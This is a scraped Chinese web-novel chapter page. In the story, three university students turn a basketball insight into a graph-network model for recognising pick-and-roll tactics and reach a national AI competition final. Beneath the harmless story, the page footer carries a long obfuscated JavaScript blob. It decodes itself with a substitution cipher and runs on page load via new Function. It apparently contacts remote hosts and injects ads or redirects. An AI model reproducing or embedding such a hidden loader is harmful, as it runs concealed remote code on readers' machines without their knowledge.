首页

[切换至繁体版]

返回

关灯 护眼:开 字号:中

第592章 获奖论文

下载APP,无广告、完整阅读
    第592章获奖论文(第1/2页)
    韩澈那源自球场直觉的灵感,如同投入平静湖面的石子,在三人小组中激荡起新的涟漪。但涟漪过后,是更加艰巨的、将灵感转化为具体实现的漫长征途。苏晚将韩澈的思路导向了“基于目标态势感知的多智能体协同意图识别”这一更为学术化的框架,而王睿则开始疯狂检索相关文献,并尝试搭建新的模型原型。
    然而,真正的挑战才刚刚开始。韩澈面临的第一个难题,就是将他用语言和草图描述的几种“目标态势”,转化为精确的、可计算的数学定义。
    “高位挡拆试图形成的‘错位’,具体如何量化?”苏晚在研讨时提问,激光笔点在白板上的示意图,“是你之前提出的,持球人与原防守人之间的有效距离大于阈值D?但这个D是否随球员能力、防守策略变化?而且,错位不仅仅是空间距离,还包括身体对位优势,比如小个子防守大个子,这如何编码?”
    “还有‘突破通道’,”王睿接口,指着自己屏幕上初步可视化出的球员轨迹热力图,“用防守球员位置形成的‘走廊’来定义?走廊的宽度怎么定?持球人的突破速度和方向如何影响这个‘通道’的有效性?如果防守人只是稍微失位,但很快补回,这算通道形成了吗?还是一定要持续若干帧?”
    这些问题细致而苛刻,逼迫韩澈不断回溯自己作为球员的直觉,并将其拆解成更基础的几何、运动学和博弈要素。他不得不重新投入海量的比赛录像,但这次的目标不再是寻找“掩护动作”,而是统计在那些公认的、成功的挡拆配合发生时,场上球员的空间关系究竟呈现出何种规律性。他设计了一系列简单的程序,利用王睿提供的球员坐标数据,自动计算各种他设想中的“态势指标”:如持球人与原防守人的“有效摆脱角度”、掩护人站位形成的“屏障有效性指数”、防守方换防发生的“反应延迟”等等。然后,他再人工校验这些指标在成功与失败案例中的分布差异。
    这是一个枯燥乏味、工作量巨大的过程。常常是对着屏幕一坐就是几个小时,反复播放几秒钟的片段,测量、记录、调整参数。但他乐在其中,因为每一次数据的验证或证伪,都让他对自己提出的“态势”概念有了更精确的把握,也让他对篮球战术的理解,从感性·经验向理性分析迈进了一步。
    与此同时,苏晚主导的理论框架构建也遇到了瓶颈。她提出的核心思路是,不再将“挡拆”作为一个孤立的标签让模型学习,而是构建一个两阶段的模型:第一阶段,一个态势评估网络,实时评估当前比赛画面距离几种预定义“目标态势”的“达成度”;第二阶段,一个协同识别网络,分析进攻方球员的移动轨迹,判断其是否在以“协同”的方式,试图推动态势向某个目标演进。两个网络通过注意力机制交互,使得模型能够“理解”球员动作与战术目标之间的关联。
    理论优美,但实现复杂。如何设计有效的态势评估网络?如何定义“协同”?是简单的轨迹相关性,还是更复杂的、基于图神经网络的“消息传递”模式?苏晚和王睿陷入了漫长的争论和试错。不同的网络结构,不同的损失函数设计,不同的注意力机制变体……每一次调整,都意味着代码的重写、漫长的训练和不确定的结果。
    那段时间,小组微信群里的消息经常在深夜甚至凌晨闪烁。王睿会突然扔出一个训练曲线图,哀嚎“又过拟合了!”或者“梯度消失了!”。苏晚会冷静地分析可能的原因,提出调整学习率、增加Dropout层、或者修改初始化方法的建议。韩澈则会在他们讨论技术细节的间隙,插入自己最新的数据分析发现:“统计了100次成功高位挡拆,持球人与原防守人夹角变化超过60度且距离拉开1.5米以上的概率是87%,但这个阈值对‘假挡拆’的区分度不高,需要结合掩护人的移动轨迹变化率。”
    他们租用的云端GPU算力费用在飙升,王睿一边心疼钱,一边疯狂地调参和跑实验。韩澈则开始系统地将自己标注的、带有“目标态势”初步标签的真实比赛视频片段(虽然粗糙)提供给王睿,与游戏数据混合,希望能提升模型的泛化能力。
    进展缓慢,且充满反复。有时,一个看似promising的模型变体,在验证集上表现提升,却在更复杂的测试场景中一败涂地。有时,精心设计的特征,被证明对最终性能贡献微乎其微。挫败感是常态,但没有人提出放弃。一种奇特的、在共同攻坚中形成的坚韧氛围笼罩着这个小团队。争论时常发生,尤其是王睿的工程思维与苏晚的理论洁癖碰撞时,但目标始终一致:做出真正能用的东西。
    转机出现在一个周末的深夜。连续一周的模型调优收效甚微,王睿几乎要抓狂。苏晚在反复审视失败案例后,提出了一个大胆的假设:或许他们过于执着于让模型“理解”高级战术语义,忽略了篮球运动中一些更本质的、物理层面的约束和启发。
    “篮球运动员不是粒子,他们的移动受到物理规律、自身体能和比赛规则的限制,同时也受到战术意图的驱动。”苏晚在群里发语音,声音带着熬夜后的微哑,但逻辑清晰,“我们能不能在模型中显式地加入一些基于篮球运动规律的先验知识,或者物理启发的归纳偏置(inductivebias)?比如,球员的移动具有惯性,变向需要时间;球员的视线有方向,通常关注球和关键对手;进攻球员倾向于朝向篮筐移动,而防守球员倾向于阻断进攻路径并面向持球人……”
    这个想法,与韩澈早期试图用“面向角度变化率”等特征捕捉意图的思路不谋而合,但苏晚将其提升到了模型架构设计的层面。她提议,不再仅仅将原始的坐标和速度作为节点特征,而是构造一系列反映篮球运动常识和博弈逻辑的中间特征,作为网络的输入。甚至,可以在图神经网络的消息传递过程中,引入基于这些先验知识的约束,引导模型学习更合理的表示。
    “比如,在计算两个球员之间的注意力权重时,”苏晚继续说,“不仅可以考虑他们之间的空间距离和运动相关性,还可以加入‘他们是否处于进攻/防守的对位关系’、‘他们是否在彼此视线范围内’、‘他们的移动方向是否指向同一区域’等信息。这些先验信息,可以帮助模型更快地聚焦到与战术相关的关键交互上。”
    韩澈立刻响应:“我可以把这些对位关系、常规的视线焦点区域(比如持球人、篮筐)用额外的边特征或节点属性编码进去!防守策略比如‘人盯人’还是‘区域联防’的基本模式,也可以作为上下文信息输入,虽然这可能需要更复杂的建模……”
    王睿被这个思路点燃了:“有道理!这叫‘注入领域知识’!相当于我们不只是丢给模型一堆原始数据让它自己瞎猜,而是告诉它一些篮球场上的‘常识’,缩小它的搜索空间!我来改代码!”
    这一次的调整,仿佛按下了正确的开关。新的模型架构,结合了韩澈不断细化的“态势”量化指标、苏晚设计的基于篮球先验的特征工程和网络约束,以及王睿不眠不休的代码实现和调优,终于开始展现出令人振奋的性能提升。
    在保留的测试集上,模型的准确率稳步上升,更重要的是,其“假阳性”(将非挡拆误判为挡拆)和“假阴性”(漏判挡拆)的比例显著下降。模型不再轻易被简单的球员聚集或随机跑动所迷惑,开始能够识别出那些“形似而神不似”的场景。通过对注意力权重的可视化,他们甚至能看到,模型在某些关键时刻,确实将更高的注意力权重分配给了执行关键掩护或进行关键移动的球员,以及他们之间的互动边。
    这是一个重要的里程碑。他们的模型,不再是一个简单的模式匹配器,而开始展现出一点点“理解”战术意图的雏形。
    (本章未完,请点击下一页继续阅读)第592章获奖论文(第2/2页)
    恰在此时,《人工智能导论》课程的期末项目答辩日临近。秦教授要求每个小组进行15分钟的展示,并提交完整的项目报告。压力之下,三人进行了最后冲刺。韩澈负责将复杂的篮球逻辑和模型设计初衷,用通俗易懂的方式呈现,并制作了直观的视频案例,对比模型识别结果与真实情况。王睿负责技术细节的讲解和演示系统的实时运行(虽然速度还达不到实时,但足以展示)。苏晚则负责整体框架的介绍、理论贡献的提炼,以及应对可能的最尖锐的学术提问。
    答辩那天,韩澈罕见地有些紧张。这不同于球场上的万众瞩目,而是一种面对未知领域评判的忐忑。他们被安排在下午最后一个展示。前面各组展示的项目五花八门,有做古诗生成的,有做医疗影像分类的,有做游戏AI的,水平参差不齐,但大多中规中矩。
    轮到他们时,韩澈深吸一口气,走上了讲台。他穿着简单的衬衫,身姿挺拔,但开口时,却不再是球场上的激昂,而是沉稳清晰的叙述。他从一个篮球爱好者的困惑讲起,谈到用AI理解比赛战术的挑战,引出“从过程识别到目标态势推断”的核心思路,再自然过渡到模型框架。他播放了精心剪辑的视频,展示了模型在复杂场景下的识别效果,对比了传统方法和他们方法的优劣。他的讲解深入浅出,将篮球知识与技术原理结合得恰到好处,连台下一些对篮球一窍不通的同学,也露出了感兴趣的神色。
    接着是王睿,他语速飞快但条理清晰地介绍了模型的具体实现、关键技术和实验设置,并现场演示了他们的原型系统。虽然界面简陋,但运行起来有模有样,引起了小小的骚动。
    最后是苏晚,她以冷静而富有逻辑性的语言,总结了项目的理论贡献、创新点及局限性,并对未来工作进行了展望。她的陈述严谨扎实,直面模型目前存在的不足(如对复杂联防战术识别率低、对球员个人能力差异建模不足等),并提出了可能的改进方向。当秦教授和其他评委提出一些相当专业和尖锐的问题时,她均能从容应对,解释清晰,甚至引申到更广泛的时空序列建模和多智能体协同识别领域。
    答辩结束,台下响起了热烈的掌声。秦教授在点评时,毫不掩饰赞赏:“这是我今年看到的最有意思、也最具挑战性的项目之一。真正做到了跨学科融合,不仅技术上有创新,问题定义本身就有价值。更难能可贵的是,你们没有停留在空想,而是扎扎实实地解决了从问题定义、数据准备到模型实现的完整链条。虽然还有很多可以改进的地方,但作为一个课程项目,完成度非常高,思路清晰,方法新颖,结果可信。非常精彩!”
    那一刻,站在台上的韩澈,看着台下秦教授赞许的目光,听着同学们的掌声,心中涌起的成就感,竟丝毫不亚于在球场上投进关键球。这是一种完全不同的满足感,源于智慧的火花碰撞、艰苦的探索攻坚,以及最终将模糊想法变为切实成果的创造喜悦。
    然而,惊喜并未止步于此。答辩后一周,秦教授突然在课程群里@了他们小组,并附上了一个链接。“你们的项目很有潜力,我建议你们在现有基础上进一步完善,写成一篇正式的学术论文,投递给下个月的‘全国大学生计算机设计大赛’人工智能赛道。这个比赛级别很高,获奖对你们将来保研、出国都很有帮助。如果愿意,我可以帮忙指导修改。”
    全国大学生计算机设计大赛!这是国内本科生顶级的创新竞赛之一。韩澈、苏晚和王睿都愣住了。他们最初只是为了完成课程作业,从未想过能走到这一步。
    短暂的震惊过后,是更强烈的兴奋和随之而来的巨大压力。将课程项目转化为竞赛论文,意味着工作量、深度和严谨性都要再上几个台阶。但这也是一个难得的机遇。
    几乎没有犹豫,三人一致同意挑战。在秦教授的指导下,他们开始了更为严苛的论文撰写工作。苏晚承担了核心的引言、相关工作、方**和理论分析部分,她的严谨和学术功底发挥了关键作用,将项目的思路清晰、有力地呈现出来。王睿负责实验设计、结果分析和实现细节,他整理了大量的对比实验和消融研究,以坚实的证据支撑他们的方法有效性。韩澈则负责贡献篮球领域的专业见解、数据集的详细描述、以及模型在真实篮球场景下的案例分析与讨论,确保论文不仅仅在技术上有创新,在应用层面也立得住脚。
    那又是一段疯狂燃烧的日子。在原本就繁重的课业和训练间隙,他们挤出所有时间,反复修改论文,调整实验,打磨表述。争论依然时有发生,但目标的高度一致让他们能够快速聚焦问题,高效解决。秦教授也给予了宝贵的指导,从论文结构到表述措辞,从实验设计的严谨性到图表呈现的规范性,逐一把关。
    最终,在截止日期前,一篇题为《Goal-AwareSpatial-TemporalGraphNetworkforIntentRecognitionofBasketballPick-and-RollTactics》的论文,悄然投递了出去。论文署名依次是:苏晚、韩澈、王睿,指导教师是秦教授。
    投递之后,是漫长的等待。期间,韩澈的赛季进入关键阶段,苏晚和王睿也有各自的考试和项目。他们依然在各自的轨道上忙碌,只是偶尔在群里交流一下竞赛官网的评审进度,或者分享新看到的相关文献。
    两个月后,一个普通的下午,韩澈刚结束一场激烈的训练赛,正在场边擦汗,手机突然疯狂震动起来。是王睿在三人小群里疯狂@所有人,一连串的感叹号和表情包刷屏。
    “过了!!!初审过了!!!进入决赛了!!!”
    “全国总决赛!!!现场答辩!!!”
    “我们进决赛了!!!@韩澈@苏晚快看邮件!!!”
    韩澈心脏猛地一跳,立刻点开邮箱。果然,一封来自大赛组委会的邮件静静躺在收件箱,标题是“恭喜入围全国大学生计算机设计大赛人工智能赛道决赛”。他手指有些颤抖地点开邮件,快速浏览着那正式而官方的行文,直到看到自己团队的名字和论文标题赫然在列。
    一种难以言喻的、滚烫的喜悦,瞬间冲垮了身体的疲惫,从心底直冲头顶。他猛地从长椅上站起来,忍不住挥了下拳头,低吼了一声。周围正在收拾东西的队友们诧异地看过来。
    “怎么了韩队?中彩票了?”队长张伟笑着问。
    韩澈咧开嘴,笑容是许久未见的、毫无阴霾的灿烂:“比中彩票还棒!”
    他立刻在群里回复:“看到了!!!太棒了!!!”然后@苏晚。
    过了几分钟,苏晚的回复才出现,依然简洁,但韩澈似乎能透过屏幕,看到那平静外表下可能泛起的细微涟漪:
    “收到。继续准备决赛答辩。”
    短短几个字,却让韩澈脸上的笑容更深了。他知道,这不仅仅是一个比赛的入围通知。这是对他们过去几个月所有努力、所有争吵、所有不眠之夜、所有灵光一现和沮丧时刻的最好肯定。他们的合作,他们跨越篮球与人工智能的尝试,他们共同孕育的这个“孩子”,得到了学术殿堂初步的认可。
    获奖论文?不,这还只是通往“获奖”道路上的第一张通行证。真正的决赛,更严峻的挑战,还在前方。但此刻,韩澈只觉得,所有的付出,都值得。而这段与苏晚、王睿并肩作战、将模糊想法变为现实、并得到认可的旅程,本身已是弥足珍贵的收获。他抬头看向体育馆窗外,夕阳正将天空染成绚烂的金红色,一如他此刻澎湃的心潮。他知道,一段新的、同样充满挑战的篇章,即将开始。

一秒记住【882小说网】
882xsw.com,更新快,无弹窗!

章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="d2yajuo2zt";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/f@TdC_O@4F/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"f@TdC_O@4F"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m)qXL26Fm2YF"="}Ko}X5ThF)mp5LJXYTm2YF"="}Ko}2pThFm)qXL26Fm2YF"="}Ko}_JqhFmp5LJXYTm2YF"="}Ko}2TOhFm)qXL26Fm2YF"="}Ko}CSqhF)mp5LJXYTm2YF"="}Ko})FfThF)fm)qXL26Fm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q/f/}Ko}j(8}vY8f@TdC_O@4F"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();